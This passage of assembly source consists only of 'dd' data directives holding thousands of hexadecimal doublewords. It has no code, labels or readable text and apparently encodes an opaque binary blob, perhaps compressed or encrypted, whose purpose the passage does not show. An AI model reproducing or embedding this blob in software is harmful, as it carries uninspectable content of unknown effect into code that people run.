0D4360975h, 8D117046h dd 0B2BA8004h, 0D951C9E2h, 4D343200h, 81797F60h, 0D3DF002Fh dd 0B9E2CB9Eh, 0D8E84822h, 4FA3151Eh, 0CCFB3A40h, 17DB843h dd 0B260F39Ch, 0FCA20A75h, 61C06150h, 8ED38A44h, 664B06AFh dd 84CE649h, 24A15A60h, 0FB2CDF2h, 6BC255A8h, 0D765BE01h dd 421812Ch, 66D00711h, 50A39180h, 59629653h, 4C8FB306h dd 0C8B80Fh, 0ED7CB797h, 0C52776Eh, 1C74357Eh, 4021CA6Eh dd 6BFC7F58h, 4D250691h, 5908366Dh, 46123403h, 0A8B52BF4h dd 89A007h, 6283282Eh, 7B7230D0h, 3955D0C0h, 61F76E7h dd 0C6869604h, 0BA5408C9h, 60070A8h, 0D2BE4FCBh, 15DF1DF4h dd 0B8EACE57h, 5E15F00h, 0F0298C11h, 60B83032h, 0E8E3300Eh dd 0F41EB408h, 409D648Fh, 0C4CB1F2Ah, 0BDC00113h, 0AA5A85Bh dd 42BC5227h, 8CD3D30h, 6CC3AD33h, 217966h, 52CDC527h dd 2D1A6454h, 32B6E500h, 0F10B9692h, 198100A1h, 0B846081Ch dd 61875B1h, 9FC98DDAh, 8AC900E7h, 0AFE86369h, 0E3743332h dd 1D21ED67h, 0F7CBA5D0h, 2FD70198h, 6E9B1231h, 0B8241386h dd 0CBE2997h, 0B37DACA8h, 78078418h, 28942E2Bh, 0DF111560h dd 0A80CF55h, 0BFBBB640h, 7179A234h, 0EB8ED4A0h, 0ECA951C0h dd 0AE93CDh, 1377FCC9h, 378C09B6h, 0F29C3F54h, 1ADBFB09h dd 68650131h, 5080B521h, 0E01BAD75h, 74A541B6h, 7B1856E1h dd 0C7121E08h, 58405103h, 5925D1DDh, 0EDE6009Bh, 0B58A09FBh dd 0D330E307h, 8B3E59B6h, 0B8EE0094h, 0F5AFF199h, 725EBDFBh dd 4138D9C0h, 3728C674h, 0D800C1D4h, 3619F86Bh, 23FA49h dd 2D08C3D1h, 54880D71h, 0EF3A3800h, 6A1679C8h, 0E070C08Dh dd 8FC7A62Bh, 2D986350h, 61709893h, 60A300ABh, 0BB37110Fh dd 8C932D36h, 14B9F8D3h, 520F2821h, 0A13000ECh, 82911D72h dd 37009C0Bh, 0BE230861h, 292C1EDCh, 5880B3h, 6D207F42h dd 2086298Fh, 4070BFA1h, 3DC27D38h, 3ABB0144h, 0CA0A9C42h dd 0A156C920h, 4CC83FB7h, 0EBE612EAh, 0C7C04801h, 0B5E710C0h dd 64CC521Eh, 35211930h, 0F47CCB08h, 3005F376h, 92D3B10Eh dd 6003EC4Fh, 40A0AA31h, 336984Dh, 1B58181Ch, 0B5E0EB62h dd 8812A1F4h, 0D81485ECh, 93FBE838h, 0BD5B00ACh, 0B63FA719h dd 8C6BEA09h, 1614100Ah, 4E813EC3h, 40C42E00h, 0A417EEE7h dd 0B24A7D00h, 361D3177h, 0ECBF19F4h, 182980B9h, 59A41EB8h dd 0B616881Ah, 0B040EE44h, 0B37FA580h, 7D7E3600h, 9B33B23Ah dd 0ACBB1354h, 0B78000Ah, 13A84AF2h, 0EB7A9C08h, 8478801Bh dd 0FFDB3E05h, 48FE4324h, 38947A91h, 0BF6D220Ah, 21DBC6F0h dd 0B2173E00h, 1BC137AEh, 0C087FA69h, 0CD210199h, 0B402EED5h dd 0A20589A4h, 2888963h, 28CC2ECh, 484BDF8Eh, 0D3F4F810h dd 84A55DC1h, 7CF1A069h, 7FFCA354h, 7CA58E07h, 0A379CD63h dd 0E0ADE71Ch, 24D1BEA6h, 8C107330h, 0DF086781h, 7943C702h dd 60D0AD8Eh, 6035F0C0h, 2E4F71F5h, 88DE9B60h, 0C079800h dd 86823Ah, 74E003F4h, 2456B72Bh, 84BF5E03h, 0E0B233FCh dd 55DD34B3h, 49D48CCEh, 246CF4F7h, 5E64977Ah, 8064CF21h dd 0A751A844h, 1224EFD6h, 4676EC94h, 0F34A03C4h, 97200E45h dd 19535941h, 0A0D1DAECh, 0B48AABCh, 0DDB8B9EDh, 4EDF3080h dd 1E806156h, 29163513h, 0B1268028h, 0F958665Bh, 2DA000F4h dd 0FE3B0860h, 8124CB6h, 1C31B3Ch, 6D39B263h, 2F0C5317h dd 556121C3h, 8FB0877Ch, 0EED58640h, 9EE90126h, 27EBA06Bh dd 580832D4h, 103E8B88h, 4E210Ch, 0AF220F25h, 0BD91FC50h dd 7E07F7FEh, 28C45E14h, 63B86600h, 624CA559h, 9918B186h dd 7968608Dh, 2523DBF3h, 0B6006EF8h, 15E3A32Ch, 513638Ch dd 0E7608376h, 0F5D00044h, 981E55FDh, 0FB356100h, 41877BA0h dd 0DA18122Eh, 4958405Dh, 9DC639A6h, 7AEE48h, 3FB0AE4Ah dd 1ED42BA8h, 0CC7CD854h, 0BF310A73h, 0EC77E703h, 0E2928B45h dd 0DAE0405Dh, 0CDA1C088h, 77BFEE5Fh, 9476A501h, 3D5EDD4Eh dd 18C1CC0h, 0B30E6456h, 60697A9Dh, 0B4014A1Bh, 8D08208Ah dd 2826CA62h, 0E0E80872h, 0A0CA141Eh, 0CB0A0640h, 0F9F0087h dd 226F1EBDh, 0DF24D6B3h, 83151865h, 7976A828h, 0A2D505CCh dd 20B1CD95h, 0C66054F8h, 7A82171Ch, 0B5E5C100h, 4CC43651h dd 56F814D2h, 0A3021843h, 0F5FA4124h, 0A94C3B40h, 2204F60h dd 0EEE8F6h, 0E9A28A93h, 0F4B6030h, 0B2439602h, 952DDF56h dd 20F49A38h, 4CDB3800h, 8148393Bh, 908407D2h, 30BB752Eh dd 1FF385FCh, 9D8950h, 0CA448D8h, 447E76AFh, 8CC7DE6h dd 1DB8210Bh, 44CCA773h, 0C72432C5h, 0D608A0B9h, 6070A19h dd 8B5AECF9h, 7885FC1h, 18189Eh, 1169A4B9h, 0A852826Dh dd 9F506038h, 0A851BEAEh, 8080CA38h, 0A5003181h, 8C02A014h dd 7DF35Eh, 0B6A31E30h, 1C71C8AAh, 451AD000h, 2F93881Fh dd 469501D2h, 0ADD6644Ah, 4B809FD5h, 0F8508399h, 7DC5DAE4h dd 0B56701C1h, 6FBA58E3h, 53E7E84Dh, 0A478FA61h, 3180BC1Bh dd 8761AAEh, 5007735Ah, 5C5B03F0h, 21DC46h, 0C41AAD77h dd 706AF26Dh, 8100527Fh, 0FFBD2BECh, 1447D365h, 2C1DD7B3h dd 402167ACh, 623B00C4h, 0C7ABC5E9h, 343BA3Bh, 0C2DA07E7h dd 4FDDD01Eh, 309A6001h, 295C7D8Eh, 4B468500h, 76EEB7D0h dd 0C2E2E8D7h, 0A0528E70h, 5497E1E0h, 392DEB1Dh, 51B27000h dd 0C574679h, 82A637EDh, 0F30396A0h, 0A758F2Bh, 70416E2Ah dd 0A06E3B28h, 9B416328h, 5A2086D7h, 5F2403C5h, 41E8730Dh dd 95887993h, 3E040F1Ch, 3DC728B9h, 67489FC0h, 0E2BD1499h dd 9C0CC8EFh, 9D40DE79h, 0FC61FB00h, 5D4131F0h, 8D591D71h dd 0E3E00C57h, 8900C920h, 9F6DE6FDh, 2FE75F3h, 29B02FF9h dd 0F0A2CC93h, 28A07873h, 125BFC7Eh, 41300446h, 0FC069821h dd 4B5ED407h, 0F257B4E4h, 0AA80D86Ah, 20658FA1h, 0B218001Eh dd 0BC26E68Dh, 618BDF7h, 0FB2919E5h, 0BCD0177h, 0ED4E67ABh dd 0C5C9E955h, 3812E0EAh, 87D39307h, 3B20D065h, 0F46E89F7h dd 5E9C0E60h, 3F232F0h, 67B0F300h, 64EC5003h, 0B03FDAA8h dd 0BBB42Ch, 54EBDE38h, 6B71A2FBh, 743CC6E0h, 0EC4580D3h dd 0C7203944h, 0A68F0007h, 1F10B9DAh, 38F2FEE7h, 97DB2100h dd 0ED43BE04h, 0D03E005Ah, 3ACEE592h, 880083D6h, 0DBFC652h dd 0A548FDh, 9949FBC9h, 6D076163h, 0A2B45400h, 0F50C8CE5h dd 3D1E0CEh, 637F148h, 879584F8h, 80495092h, 90289E7Bh dd 0C500FA0Dh, 660ADD13h, 0AB6CA2h, 7898B37Eh, 1DDBAC46h dd 89C23F2Eh, 0CBA02300h, 20EB9Ch, 527BCF7Eh, 63DB4AF0h dd 3E9B6500h, 0EA22855Ch, 0A35B0099h, 2502E1A8h, 8678A233h dd 1ED07F00h, 612C7688h, 8A4D0039h, 0C26E4047h, 0C1076FA4h dd 5AD35B31h, 5DD23290h, 0B12400FAh, 4A4451F7h, 0D40E0821h dd 0E070D1EFh, 301758F4h, 0CB9E006Bh, 60AE6D68h, 520B02CDh dd 8A64C8ECh, 0E100E382h, 62596BEBh, 0CC0900B9h, 374CB67Ch dd 67033FE4h, 842179F1h, 39D900Dh, 0C32B0ED6h, 0CAC0FFB7h dd 0B49278CDh, 510F9A00h, 3E7D5984h, 44BD000Eh, 2E3663F3h dd 6A005A1Bh, 84558737h, 9E68B0h, 5F4E1E5Ch, 0DEF3F05Bh dd 0DF276307h, 0A9E0DBAEh, 7DCFAA37h, 67A2A0D4h, 1AA80023h dd 88E25602h, 6E004FE0h dd 0E31C6A05h, 1D93F208h, 0E90F6D5h, 0CC3FBE4h, 2FC0027Fh dd 0A6003FB4h, 0D7470585h, 5F0D3EBh, 9551CE5Eh, 20DDC035h dd 0C1008FEDh, 9CA95DFBh, 527F0Eh, 0EAD84DACh, 0AA6CFD77h dd 0C0BCD901h, 0A5C3303Bh, 12423434h, 35E6DDh, 0F76E46C0h dd 8300D02Ch, 84A29041h, 35879CFh, 91CE81C4h, 6DA85067h dd 0D400A4B0h, 0C1F902A7h, 0F4F47162h, 0E98E5898h, 18542900h dd 0E782B6C3h, 0FFDCD100h, 3E3A4102h, 10FCB8h, 9207A112h dd 3913285Eh, 0ED2EC807h, 0D5A1ECF5h, 0AC0F0B5h, 1CCD009Ch dd 9B1DDFCBh, 13128DFFh, 39018E26h, 0F5A8C69h, 8540E4h dd 2E240BAFh, 0EAEFCB42h, 1D283960h, 2C23573h, 6C453C4Ch dd 3DC14FD5h, 0CCA7602Bh, 6F8FD00Eh, 3CA9E0B8h, 32DFE5Ch dd 9C861CF6h, 7DF90673h, 52C9C0FCh, 1C2959h, 0BEF2D175h dd 0F93EAAh, 0F493AE87h, 0D3A3FEA8h, 83DB593Bh, 83557996h dd 3CC1C4A6h, 0CDD0BD98h, 0BE19D691h, 4532A900h, 0DF2A9Eh dd 0C5BE9FDBh, 4C532261h, 0C0E3D900h, 0B56DCCB9h, 0AB2E0E7Bh dd 0D027BFD2h, 3ED4C027h, 84017AAAh, 0EA0C8012h, 4470862Ah dd 44363BEBh, 7181D680h, 0D16A755Ah, 1238801Eh, 8FF72440h dd 3F8776C2h, 28812254h, 0C90B425Fh, 44F253B0h, 8A3F03A8h dd 599B5A00h, 0A7D72CE3h, 12F10022h, 2A613845h, 87074A9Dh dd 2956BA0h, 0A00D32Fh, 5C3F14B2h, 0AE4300A3h, 6C257770h dd 23059EF9h, 0B8F5FDCFh, 0E6517580h, 538D008Ch, 0B5D7FC41h dd 8008659h, 66B2093Bh, 49921E3h, 7B8E198Fh, 263800Eh dd 94012CDCh, 59A80A13h, 473066F0h, 4CEC9028h, 0BF0015B2h dd 69DF9EACh, 0EE003D37h, 17F50DD4h, 4C506DBBh, 4C00FAE4h dd 47BE66BFh, 0A80D913Bh, 90CB0854h, 154FE8h, 98D9BA4Bh dd 0A19ABC1Ch, 143AABF6h, 7ED680CDh, 0B82F7468h, 0D7950019h dd 0E9CCF189h, 1000361h, 3971641Dh, 94C5E5h, 348D20E4h dd 72E8BBAh, 0B2857C01h, 0D5428A24h, 76D8F5C1h, 17DB00B5h dd 4D432722h, 9F03EE30h, 57AC9BEDh, 0BBEF90ECh, 0CC410094h dd 9CC58668h, 2B1E665Ah, 0E080927Ah, 72B930E8h, 8D789737h dd 70BBC030h, 2D458h, 0DA6C06AFh, 70D75044h, 79CC400h dd 0DC85B9CAh, 0D19B0754h, 0F0826069h, 0A82E1110h, 0AAA99A03h dd 0C08AAB07h, 7B76BAFh, 9F743B02h, 90178026h, 0B300F52Ch dd 8A094627h, 3FFA639Bh, 4B8658BDh, 0B843D923h, 89861708h dd 8F598040h, 94242EDBh, 1A9B6300h, 0FD0135D9h, 304260BBh dd 19EBB2D2h, 9AA10E1Ch, 0E73B2500h, 2DE384h, 0A07917Eh dd 0C73EBBAEh, 0DD80135Ah, 98C9F3h, 0ADA7A3F9h, 7D728009h dd 740023B0h, 9B51EDB6h, 234977h, 859ECB28h, 0A3DF35CDh dd 0CA966B0Eh, 90ABC0A2h, 0E2AEE9h, 988A75B3h, 45A5EC4Ch dd 7E3E5100h, 6265E58Dh, 0A6A80083h, 7F3A6E2Dh, 5A981774h dd 8BD09Dh, 1A124E61h, 27B42581h, 72CCA900h, 5D457429h dd 2F650988h, 68809A17h, 0B6BBBC3Fh, 6056AD00h, 36784816h dd 51DB0E45h, 0B36132FFh, 0E41E6B31h, 5700BAFEh, 3A0501E8h dd 7A4DCBD3h, 0D6FC58h, 0DA846331h, 13D73946h, 27552C00h dd 0F3BB5A12h, 1EC80BADh, 0AC80FF8Fh, 6953D097h, 0D13CD5B8h dd 68B38E65h, 9585A02Dh, 0BA0139h, 0AE5AFC05h, 42D3AAB5h dd 77003590h, 45B9C9ACh, 3FF7DE8Dh, 5100D473h, 2B1AB73Bh dd 470E32D2h, 0E0EDF149h, 0F89A6FBFh, 531C381Eh, 8808AB00h dd 0A1B676E8h, 0F03DF438h, 3AD96800h, 554EDDCEh, 6EC100B9h dd 1483B418h, 1300751Ch, 35FFAA1Eh, 0E1AEBAEh, 0F9BC2D27h dd 8044CA44h, 0ADAFDAECh, 9E4B9500h, 3B1CD17Dh, 8B47090Fh dd 5C60C6A8h, 75166818h, 4C00F93Dh, 0A2026070h, 27780059h dd 0B2BDBA93h, 0FE7796A6h, 0ED9AF000h, 8CB709D0h, 8C2252D5h dd 0CE54200h, 8EF6B654h, 59011FEAh, 48B92D7h, 4970A5CBh dd 824300FEh, 0E14C50CAh, 0A60D978Ch, 11751914h, 0BCB4ECh dd 6EB0C291h, 533DD8B5h, 0F61CA707h, 0C6A7225Ch, 0C0F46AD3h dd 9BCD5Ah, 0FD4CD42Eh, 0C8809CE7h, 70681500h, 874360EFh dd 294000BCh, 89BBD167h, 0E1D9F0Fh, 3CF8902Ch, 22804E8h dd 69C0BE4Ch, 442B944h, 0A190E5EBh, 0BF1CB064h, 0D05EDC00h dd 0FC145D6Bh, 8490FBh, 7B1815B3h, 0DEF617D2h, 0DBCF0750h dd 810CB60Fh, 0DA398059h, 9B28F9h, 44996602h, 158B6A7Bh dd 892E100Eh, 5D1C849Dh, 1B764981h, 0E4007C2Dh, 6B400B34h dd 5205D850h, 0FC76F244h, 14D1048h, 58D857E3h, 35562043h dd 7C119B00h, 0EF733456h, 9BD7F31h, 0F2E8F955h, 5C40BC8Fh dd 0DA066AEAh, 8621350Bh, 0CBD08085h, 0A8FD76A8h, 670B4E30h dd 0D045585Ah, 578116D8h, 0ED103402h, 58B0DA03h, 92581268h dd 4124C3C1h, 840D9100h, 3182B7Ah, 229C009Ah, 0F7823649h dd 34006F43h, 0F06431D8h, 7FD3024h, 23121E8Dh, 0FCC4E07Bh dd 0BE00FA02h, 0F919C32Ah, 9769D8h, 0DF076EE8h, 6CB1E1CEh dd 0B8A7C53Dh, 0FF380044h, 7C41FC2Eh, 76D7E51h, 2DF51C4Bh dd 9FCFD02Fh, 0B9281B8Fh, 0E43AD21Ah, 754D0118h, 5A090AC8h dd 0C43ECh, 66899B57h, 0DD6372D2h, 3B87C100h, 0FE49C7FFh dd 0D098004Eh, 81EC9A4h, 5900B78Bh, 0AE4817EAh, 0ED4D1A3Dh dd 9220CCh, 0CAFF7C6Dh, 54638FB2h, 984F9D00h, 53D18A8Ch dd 552814CDh, 76D891h, 732E3FBAh, 2BB24923h, 41499A6Eh dd 0F86F18CEh, 77915E0h, 0F07F539h, 0A5E08F16h, 2668568Ah dd 0E68DBE00h, 9DB7DE3Ch, 12517007h, 98C01AEh, 0C3805BA2h dd 1DE47618h, 17416F62h, 18E70F7h, 0E59E0905h, 0ED39D725h dd 7A20860Dh, 4C89358Ch, 984027EFh, 0D558BF9Bh, 8687F500h dd 41D3D720h, 96AC09B0h, 92009C08h, 98857467h, 9D71CF18h dd 2E6B058h, 1EA45A6Bh, 94A13A8Ch, 8072E43Dh, 5C7D8460h dd 305A3EDDh, 19212710h, 700EA3Ah, 9ACC8EF1h, 8578FCh dd 6C0EEFEDh, 2EAD0899h, 90F32E8h, 4007BEFBh, 40D1519Ch dd 9845000Eh, 975D3E14h, 0EC005059h, 90F9FE7Eh, 1E7989DCh dd 3CF1107h, 0AD299CB2h, 9363A2E0h, 0EB4A4E00h, 79227B5h dd 91D70FF2h, 871D1397h, 66A7CD1Bh, 50035862h, 7EB445B1h dd 9895A0EEh, 15F300B9h, 0F5347DA7h, 9600B8DEh, 4F86D30h dd 0C050D017h, 0A54AF238h, 0EB989C43h, 0DC846C01h, 7C9E61C2h dd 0AEDB92FDh, 0F67A3938h, 700800F9h, 0A76341ABh, 73124DB4h dd 990325AFh, 30994ED5h, 0ACA1E192h, 6E0071D7h, 79B4D303h dd 60B0813Dh, 0B2927860h, 0AB0FE875h, 229520B9h, 0D7C77A78h dd 58E4A980h, 810503B3h, 0CA98A70Bh, 0A58CD5C0h, 3F883369h dd 0D7887DB8h, 0EE6718C7h, 36D02271h, 0CE1153Eh, 21841068h dd 72F0F118h, 0AA39BF00h, 0CD27E509h, 166E001Ah, 0BD191C52h dd 5C00C679h, 5FB594AEh, 69034Bh, 0C8EDEE8Ch, 9E12CE6Dh dd 3B388003h, 0B0666EE4h, 0CA3EF21Bh, 5504CC10h, 1A073183h dd 0E336E0FBh, 23B40992h, 8B0089C7h, 0CC82FDEh, 3912B501h dd 78FAA44h, 6653E30h, 55C720F9h, 1A1029D4h, 9021B475h dd 95AFFA00h, 2001C722h, 422FE32h, 0C4C4276h, 78B53703h dd 2880F92Dh, 4384FCF3h, 0F600824Fh, 3109BB1Dh, 0C5B05Bh dd 0C188BFE1h, 0AAE82F27h, 0DE988207h, 59F0F47Bh, 0AE612h dd 5FBF6FD0h, 1604330h, 42A4941Ch, 12C4BA41h, 0BFD43552h dd 374C0065h, 0B2AB91C2h dd 8101A647h, 2361C43Ah, 14D43CBAh, 1027014Ch, 0A32C29CFh dd 0EA76CCD9h, 7C362E00h, 0CD3CC8FAh, 0E96B3847h, 8DF11D01h dd 0F86AE4ADh, 1200A888h, 3E8F5458h, 0F89EC8Bh, 0E380305Bh dd 0D7937760h, 86009E5Fh, 0BF3FCA38h, 0B88B7Ah, 3B5006FAh dd 9AEC4E95h, 874A7B00h, 0A3EA8540h, 0A61070Ch, 0C707190Fh dd 8C6840B9h, 76002E44h, 759C06B2h, 6F21D6Ah, 4017DB36h dd 530750AEh, 3BB446CAh, 3C812180h, 0BA4A0008h, 10FF7E9Bh dd 3E00C1D3h, 27A8E294h, 0F0E6DCh, 4481C8AEh, 76CD5D2Fh dd 79691600h, 120B74BEh, 0D85F145Eh, 0F11E8A0Eh, 1AE500F7h dd 0DE61378Dh, 9118AA01h, 0F219ADDCh, 8C6FC9D3h, 393C3A70h dd 8E011B11h, 0D5B347BAh, 0C0EF2183h, 5C1FE6C4h, 31576442h dd 0FB003E1Eh, 1F34938Ah, 50CC0303h, 0DA7D4F13h, 0D3EE21A8h dd 38823D1Eh, 2E16B6C1h, 81C79A6Fh, 0E5D4BDBFh, 0A75000C9h dd 81DF3A29h, 0D0601661h, 8E4E7599h, 0D4FE00FAh, 1F448DF7h dd 800FE5E6h, 5D2F31C1h, 2DA707FCh, 78A0879Ah, 3ABDEF1h dd 3BFFB243h, 0C8003A0Dh, 0AACCC324h, 0C96ACDh, 1770B975h dd 2BE1EEC8h, 6CE8F400h, 438CFA44h, 0EE7AEC37h, 995A003Fh dd 24A61CB1h, 79009D0Eh, 0FD1A83DBh, 1D16B250h, 7C3AEE84h dd 1BD4E380h, 56CF40DFh, 0D9954C26h, 4DDA4F00h, 0E8C605h dd 0FB307508h, 219BE9E5h, 0F100887Fh, 0DBBAF8EFh, 73A2F14h dd 0D6433E4Bh, 0F2FD009Fh, 67002B0Eh, 0F1E4165Eh, 858299h dd 0A7AD6B38h, 5D5983D8h, 72CAE71h, 0A61778EBh, 60E42B00h dd 0F25844B7h, 0C35C0718h, 153C1402h, 87E480A5h, 490079D0h dd 0D53F5D2Ah, 17413089h, 137F4ADh, 5A0ADB29h, 1A1CF0AFh dd 0F89E1807h, 31B00B4Ch, 7709EAh, 0C9EB3D14h, 40E5BD91h dd 0F3C13Ah, 0FB62C37h, 964CCDh, 0E2390B65h, 0D66D265Ah dd 2A9FF201h, 0CF30F01Fh, 73B70EC8h, 0C0A300D4h, 85E8BEE1h dd 0C900EFF8h, 69589BE6h, 0E068F2h, 2F01A3B3h, 6A1B21DDh dd 0E647AB00h, 0CD3220BCh, 0E36B00B8h, 84997CCh, 0A006941h dd 28C7E47Bh, 1C74A7EDh, 4F7F0455h, 0C0DF9283h, 8630F7A0h dd 191CCC53h, 3700AF35h, 58043CC4h, 0FE1DF601h, 2B38C070h dd 492DAD40h, 7AAA2400h, 14DA8F5Bh, 9D5E03A1h, 0A6103428h dd 0A96E3890h, 40A35A00h, 9F95DC9Ch, 2ED005Bh, 891336E0h dd 6A073CE4h, 0DCA98823h, 0FC7A2740h, 0CF8D005Dh, 21054996h dd 105F3A6h, 63DBF9E4h, 5CB7E980h, 730D007Dh, 66DE9A37h dd 9B0E1520h, 20F909E5h, 0AB7D474Ch, 6CA00099h, 0E9432864h dd 0FB3A07EEh, 1F73DCD9h, 0E6C0D45Ch, 0C0CDDFC7h, 0C3391D43h dd 0A81700D6h, 0D89E2CFBh, 7DF81016h, 80F0770Bh, 6CE1A99h dd 6A2F0916h, 3002E830h, 1C4067F3h, 0E400B9FEh, 714E9F73h dd 30D6F4h, 0AD6892B0h, 0B7D1B13Fh, 7C7C1AE4h, 0D34F7800h dd 42501A7h, 7FF00F34h, 87806411h, 1679213Dh, 0CA5F0C00h dd 0C6EE948Dh, 0F2A1281Bh, 4BF60084h, 0FC4CB719h, 4A07217Bh dd 0E3F130CEh, 6A24CFB0h, 0DAE91422h, 981BCB8h, 0BEDB3CB0h dd 4F890341h, 0F86F779Ah, 78C0ECCh, 0EEF722FCh, 0A798A028h dd 0E703523Dh, 0B7B6A830h, 35F9F006h, 2E0A00A4h, 700FBEE2h dd 0C9003FCEh, 662DCB5Ah, 0AE16EFh, 0D5FEF348h, 282A05A4h dd 49626809h, 0AF7821h, 0A77B00Eh, 0FA0359F7h, 90B6A000h dd 9C6696FFh, 0CCFC98h, 102C0F8Ah, 0C2D87D0h, 65CB1201h dd 9B6D5595h, 0B233FCh, 0F05AC23Ch, 0B39A41D1h, 0CC033E7Ah dd 1F68C562h, 737B9861h, 0DE5D500Ah, 48F0187h, 7C777237h dd 0CCA3FD21h, 4B009445h, 0DBE01E6Ah, 2EABBAh, 0C65EB601h dd 74630ACCh, 8008873Ah, 0E5627606h, 68C7F1h, 0EB721CAAh dd 0C30CA58Bh, 98D7D000h, 91DFAB6Dh, 1E8172E4h, 75C59h dd 6403D9A2h, 5F00F813h, 5E256611h, 31C2E8h, 0A60B9EC8h dd 82A8DB54h, 78422307h, 830FD5AFh, 0D052B82Eh, 95CA33h dd 9DFAB461h, 82E8AD4Eh, 0E94B7624h, 428F5F00h, 0F7CE944h dd 853752EEh, 0ADAECC63h, 4FE232C0h, 0D1871101h, 0FCD5BA09h dd 33E098D1h, 49DF000Ch, 256574Ch, 700FA741h, 20CED4F4h dd 6D9D3DBFh, 0AA7D002Ah, 0C3EF14EBh, 0E4008773h, 8948FB19h dd 976E2Bh, 81437AB2h, 0B337CBB0h, 0AE77F000h, 5AAD4661h dd 1CC9B07Ch, 0C093AAA3h, 864D5C43h, 0A1FD9D4h, 0BC0049B5h dd 0B9488581h, 2E07732Dh, 1C884E80h, 947D00E5h, 0C0E71758h dd 4312610Fh, 0DFD3C052h, 0E4EEC0Fh, 0CAA8DA84h, 0C50C13A0h dd 0ADF22D70h, 9198BD50h, 0F1008474h, 0AF176AFBh, 3ECB5C6h dd 35A9C516h, 7F98F0F9h, 0A5077B87h, 95DBEFB7h, 0BD89C923h dd 4A90F1C0h, 912E00A2h, 0A161BF98h, 0E8006CC7h, 4DDCAE57h dd 1B591FADh, 7031E952h, 373825F8h, 0FB091303h, 0A14221h dd 0B05A5C29h, 3EF959ECh, 4600DAF2h, 0D7D2A7D6h, 604244h dd 3F90381Dh, 0F4B68EFFh, 96AD1801h, 92F58BBh, 730660h dd 9789238Fh, 0D738D366h, 12367200h, 0FC5B44A9h, 0C1E9000Ch dd 9EA3A40Bh, 0B3008C76h, 9FE5C37Bh, 489CFB1Eh, 6A00ED5Ah dd 76343674h, 7863F99Ah, 987FA5A0h, 0F0CF6C9h, 0D9CA909Eh dd 0B703D760h, 7400076Fh, 1CE6FCE0h, 0B4C11Fh, 631A3277h dd 4AEE2CBBh, 0E8872500h, 41D0E1D2h, 34643D97h, 0D7DFBE00h dd 0BAC2076Ah, 8C463Ah, 0F56C5E23h, 0E86E6AAh, 8374471Ch dd 0C14AC421h, 84708B10h, 0BF85802Fh, 0FBBBA7h, 0C81D2756h dd 9751B85Ah, 29EFB000h, 1639A387h, 36115C5Eh, 17BF9F00h dd 38AACE54h, 2D774100h, 9D8FE879h, 6FB90094h, 1C3EBEB6h dd 0DC0043F8h, 16B57138h, 0FCACD36h, 7C9A3A87h, 0E3EC620h dd 0DC00400Ah, 3C882803h, 1F6514ECh, 43C39856h, 6BE1D8F1h dd 0F7A7DEE8h, 708FC1Ch, 341B5047h, 0E591D1F0h, 3F700043h dd 0E7D06EB0h, 7E00FF0Ah, 2C9A14A6h, 759245Ah, 64DE4BCh dd 0B36EA012h, 4B000750h, 0EC6D4C09h, 7FBF86h, 0D0EDC988h dd 0B98D22C1h, 0CC544262h, 9F8A6090h, 8E98002Ch, 360CF7EEh dd 0E300D627h, 67A074C6h, 3B8F4A6Dh, 7FA78Ah, 0D8616F6Ah dd 85027365h, 5D00F4E4h, 0B1377651h, 9ED2F3h, 53F9CA93h dd 424DD491h, 0B8C0DD00h, 9027EC9h, 19070930h, 0F700805Fh dd 62AF1D92h, 699DA00h, 1CB1F90Ch, 4282072Fh, 40B62D3Dh dd 0BD8E55D3h, 0ADE0E100h, 6EB26940h, 78EE005Fh, 310749CCh dd 0CE6053BBh, 0BC57FC20h, 0A0A400B1h, 5115A12Ch, 6304468Fh dd 0F3FA84C4h, 8271D8C0h, 4C2F310Ah, 20E68FA0h, 0C50ED4C8h dd 0E0E162DEh, 27D5542Ah, 749700F4h, 0E2D09CB2h, 0BB0089D6h dd 56DBAD83h, 7D8549h, 5A067E1Fh, 766324D3h, 520DFD14h dd 0D4E12DA8h, 0AEFC0004h, 8DBBA80Eh, 0C3825600h, 814B2B46h dd 57B50623h, 29343920h, 0AA458B7h, 83843069h, 0B08200F5h dd 0FBDDDB03h, 1AD0A000h, 6DE5E69Bh, 94B202EAh, 99019E49h dd 318FE480h, 0CC0016CDh, 0E66C834Ah, 1F08DDDAh, 40C296FCh dd 0C4E0F36Ah, 0C7033472h, 84FF0CCBh, 0F292A0BCh, 0AD2E003Fh dd 1CEF355Bh, 8C00E3B1h, 0ECAC046Eh, 9041CA2Ah, 10B300DCh dd 9AD8F77Fh, 6D009B5Dh, 12854D76h, 0A04A46C7h, 8404C8h dd 0F775060Dh, 4F285DD9h, 865F6000h, 207A9163h, 9C810042h dd 47403106h, 561C67F2h, 0F5838A5Ah, 90588CA6h, 420CACh dd 5B96FE1Fh, 0ABC2C006h dd 0C5FCF203h, 0AB0443D8h, 82F5A9E9h, 6983C8h, 6C010332h dd 3A66A9D4h, 4DACD900h, 1055F368h, 715A004Fh, 0A7F22950h dd 7749131Fh, 8F1B00D0h, 63FA0880h, 0A57354h, 3842DFA0h dd 133FB89Bh, 0AAF42300h, 3917ED50h, 0EE730094h, 0D521571Eh dd 0B600D46Dh, 0E7F04A96h, 0BB74C9h, 4714B64h, 2B9B61E5h dd 3E7E39h, 0A01CDA4h, 3B08B962h, 6C4C808Bh, 0FE9D7200h dd 0D50E6643h, 854E2D0Bh, 3FA90639h, 0D3EB0018h, 0C035644Ch dd 0A90062F0h, 2B1D0829h, 15F3ABh, 7234B68Bh, 4F9BD61Fh dd 0BFC7DF13h, 96C0841Dh, 5A123077h, 614C003Eh, 7E5CF0AEh dd 70073628h, 0E3D227Dh, 561D4A51h, 349120h, 0A16C6BBCh dd 61337BF5h, 0BFE95513h, 0D4072601h, 9FCC8F56h, 30C43E5Ch dd 4BBB0074h, 6281AC7Dh, 0A9035784h, 0BAAB60DDh, 8CC8E8C9h dd 0FB3D0010h, 0A7130E86h, 0B77B911Ah, 644EB901h, 2AD38D8h dd 602CC0h, 78863D39h, 0CDE9A228h, 4562A50Fh, 0CA560095h dd 3F77AE8Bh, 919D88F5h, 2302BECFh, 0CE3AF072h, 0EC4818C8h dd 0A13DB998h, 0D75D80F1h, 0E9EDCCAh, 0CCBD008Dh, 4914E85Ch dd 0C4009836h, 20FA19EFh, 37CB3h, 0CB2E4EB4h, 0D45D9422h dd 583AAE3Ch, 1B30030h, 0F12419FCh, 0A63907C5h, 0D052716Fh dd 35E36E38h, 0C0905A00h, 9C70F6EEh, 0E5300FAh, 9D328671h dd 18C0EF65h, 0A8B26C62h, 0E5D90EE3h, 0D68095F2h, 7DAAFC86h dd 0A4075576h, 0F7919ED3h, 88DE7010h, 19F6001Bh, 6942EB5Dh dd 7A1D05D9h, 0F9E064h, 4124499h, 1D8C6862h, 